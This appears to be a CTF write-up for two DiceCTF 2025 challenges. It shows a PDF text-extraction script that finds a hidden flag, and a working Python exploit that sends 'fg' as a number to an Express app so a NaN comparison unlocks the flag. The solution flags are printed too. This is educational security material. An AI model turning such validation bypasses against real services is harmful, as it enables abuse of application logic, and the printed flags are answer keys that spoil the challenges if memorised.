Dice CTF Qualifiers 2025 - MISC, WEB
Misc
bcu-binding
Solvers: 430
Author: hgarrereyn
Description
Comrades, we found this old manual in our basement. Can you see if there’s anything interesting about it?
Solution
The challenge provide a cpu_documentation.pdf
file.
Hmm, find a flag in a pdf file, maybe there is a raw text cover under this pdf file.
After researching, I found this website Extract text from PDF file using Python, let’s get it.
1
2
3
4
5
6
7
import PyPDF2
with open("cpu_documentation.pdf", "rb") as file:
reader = PyPDF2.PdfReader(file)
page = reader.pages[0] # Get the first page
text = page.extract_text()
print(text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
➜ bcu-binding python3 extract_raw.py
СОВЕРШЕННО СЕКРЕТНОTechnical Documentation No. 382-B
Biological Computing Unit BCU-8
Institute for BioSafety
Department of Biological Computing Systems
Institute for BioSafety
USSR Academy of Sciences
Original: 15.04.1982
Updated: 23.09.1983FLAG: dice{r3ad1ng_th4_d0cs_71ccd}
Contents
1 Background 3
1.1 Historical Development . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Previous Work . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2.1 First Generation Systems (1962-1970) . . . . . . . . . . 3
1.2.2 Second Generation Systems (1971-1977) . . . . . . . . 4
1.2.3 Experimental Prototypes (1976-1978) . . . . . . . . . . 4
1.3 Timeline of Key Developments . . . . . . . . . . . . . . . . . . 5
1.4 Theoretical Foundations . . . . . . . . . . . . . . . . . . . . . 5
1.4.1 Biological Signal Processing . . . . . . . . . . . . . . . 5
1.4.2 Memory Architecture . . . . . . . . . . . . . . . . . . . 5
1.5 International Context . . . . . . . . . . . . . . . . . . . . . . . 6
1.5.1 Historical Development of Western Designs . . . . . . . 6
1.5.2 Comparative Analysis with Western Designs . . . . . . 7
1.5.3 Architectural Priorities . . . . . . . . . . . . . . . . . . 7
1.5.4 Technical Comparison of Key Features . . . . . . . . . 8
1.5.5 Performance Characteristics . . . . . . . . . . . . . . . 8
1.6 Current Status . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2 Technical Overview 9
2.1 System Architecture . . . . . . . . . . . . . . . . . . . . . . . 9
2.2 Memory Organization . . . . . . . . . . . . . . . . . . . . . . 10
2.2.1 Basic Memory Layout . . . . . . . . . . . . . . . . . . 10
2.2.2 Register Overview . . . . . . . . . . . . . . . . . . . . 10
2.3 Memory Access Mechanisms . . . . . . . . . . . . . . . . . . . 10
1
I successfully get the flag: dice{r3ad1ng_th4_d0cs_71ccd}
.
Also I am curious if I can search the flag inside the pdf file, maybe it hidden not visual but can be found by text search.
As expected, I found the flag in the text search. Noice :D
Flag: dice{r3ad1ng_th4_d0cs_71ccd}
Web
cookie-recipes-v3
Solvers: 459
Author: BrownieInMotion
Description
Solution
This website basically just a click to receive the amount of cookies. The challenge provide a index.js
file, let’s check it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
const express = require('express')
const app = express()
const cookies = new Map()
app.use((req, res, next) => {
const cookies = req.headers.cookie
const user = cookies?.split('=')?.[1]
if (user) { req.user = user }
else {
const id = Math.random().toString(36).slice(2)
res.setHeader('set-cookie', `user=${id}`)
req.user = id
}
next()
})
app.get('/', (req, res) => {
const count = cookies.get(req.user) ?? 0
res.type('html').send(`
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@exampledev/new.css@1/new.min.css">
<link rel="stylesheet" href="https://fonts.xz.style/serve/inter.css">
<div>You have <span>${count}</span> cookies</div>
<button id="basic">Basic cookie recipe (makes one)</button>
<br>
<button id="advanced">Advanced cookie recipe (makes a dozen)</button>
<br>
<button disabled>Super cookie recipe (makes a million)</button>
<br>
<button id="deliver">Deliver cookies</button>
<script src="/script.js"></script>
`)
})
app.get('/script.js', (_req, res) => {
res.type('js').send(`
const basic = document.querySelector('#basic')
const advanced = document.querySelector('#advanced')
const deliver = document.querySelector('#deliver')
const showCookies = (number) => {
const span = document.querySelector('span')
span.textContent = number
}
basic.addEventListener('click', async () => {
const res = await fetch('/bake?number=1', { method: 'POST' })
const number = await res.text()
showCookies(+number)
})
advanced.addEventListener('click', async () => {
const res = await fetch('/bake?number=12', { method: 'POST' })
const number = await res.text()
showCookies(+number)
})
deliver.addEventListener('click', async () => {
const res = await fetch('/deliver', { method: 'POST' })
const text = await res.text()
alert(text)
})
`)
})
app.post('/bake', (req, res) => {
const number = req.query.number
if (!number) {
res.end('missing number')
} else if (number.length <= 2) {
cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number))
res.end(cookies.get(req.user).toString())
} else {
res.end('that is too many cookies')
}
})
app.post('/deliver', (req, res) => {
const current = cookies.get(req.user) ?? 0
const target = 1_000_000_000
if (current < target) {
res.end(`not enough (need ${target - current}) more`)
} else {
res.end(process.env.FLAG)
}
})
app.listen(3000)
So when lookthrough the code, we can see that our goal is to get 1_000_000_000
cookies in order to get the flag.
And also the number length is <= 2
, so we can how intercept the request and increase to more than 2 digits.
Hmm, let’s research some type of number in javascript.
I found this website Javascript Numbers.
What if we try number=fg
?
It will return NaN
, which is not a number. But from the definition, it is still a number not not legal only.
If we check the deliver
request, it will return the flag.
This is the process when we inject fg
as a number.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app.post('/bake', (req, res) => {
const number = req.query.number
if (!number) {
res.end('missing number')
} else if (number.length <= 2) { // Only checks length!
cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number)) // NaN + number = NaN
res.end(cookies.get(req.user).toString())
} else {
res.end('that is too many cookies')
}
})
app.post('/deliver', (req, res) => {
const current = cookies.get(req.user) ?? 0
const target = 1_000_000_000
if (current < target) { // NaN < 1000000000 is false!
res.end(`not enough (need ${target - current}) more`)
} else {
res.end(process.env.FLAG) // We get the flag!
}
})
Because NaN
is not a legal number so javascript will return false
when we compare it with 1000000000
.
Here is the script to exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
def exploit_cookie_challenge():
BASE_URL = "https://cookie.dicec.tf"
BAKE_URL = f"{BASE_URL}/bake"
DELIVER_URL = f"{BASE_URL}/deliver"
headers = {
"accept": "*/*",
"content-length": "0",
"origin": "https://cookie.dicec.tf",
"referer": "https://cookie.dicec.tf/",
}
session = requests.Session()
initial_response = session.get(BASE_URL)
if 'user' not in session.cookies:
print("Failed to get user cookie!")
return
user_cookie = session.cookies['user']
print(f"[+] Got user cookie: {user_cookie}")
exploit_number = "fg"
try:
bake_response = session.post(
f"{BAKE_URL}?number={exploit_number}",
headers=headers
)
print(f"[+] Bake response: {bake_response.text}")
deliver_response = session.post(
DELIVER_URL,
headers=headers
)
print(f"[+] Deliver response: {deliver_response.text}")
if "not enough" not in deliver_response.text.lower():
print("[+] Success! Flag should be above!")
else:
print("[-] Failed to get enough cookies")
except requests.exceptions.RequestException as e:
print(f"[-] Error during exploit: {e}")
if __name__ == "__main__":
print("[+] Starting cookie challenge exploit...")
exploit_cookie_challenge()
1
2
3
4
5
6
➜ cookie-recipes-v3 python3 exploit.py
[+] Starting cookie challenge exploit...
[+] Got user cookie: uusuab9uyu
[+] Bake response: NaN
[+] Deliver response: dice{cookie_cookie_cookie}
[+] Success! Flag should be above!
Flag: dice{cookie_cookie_cookie}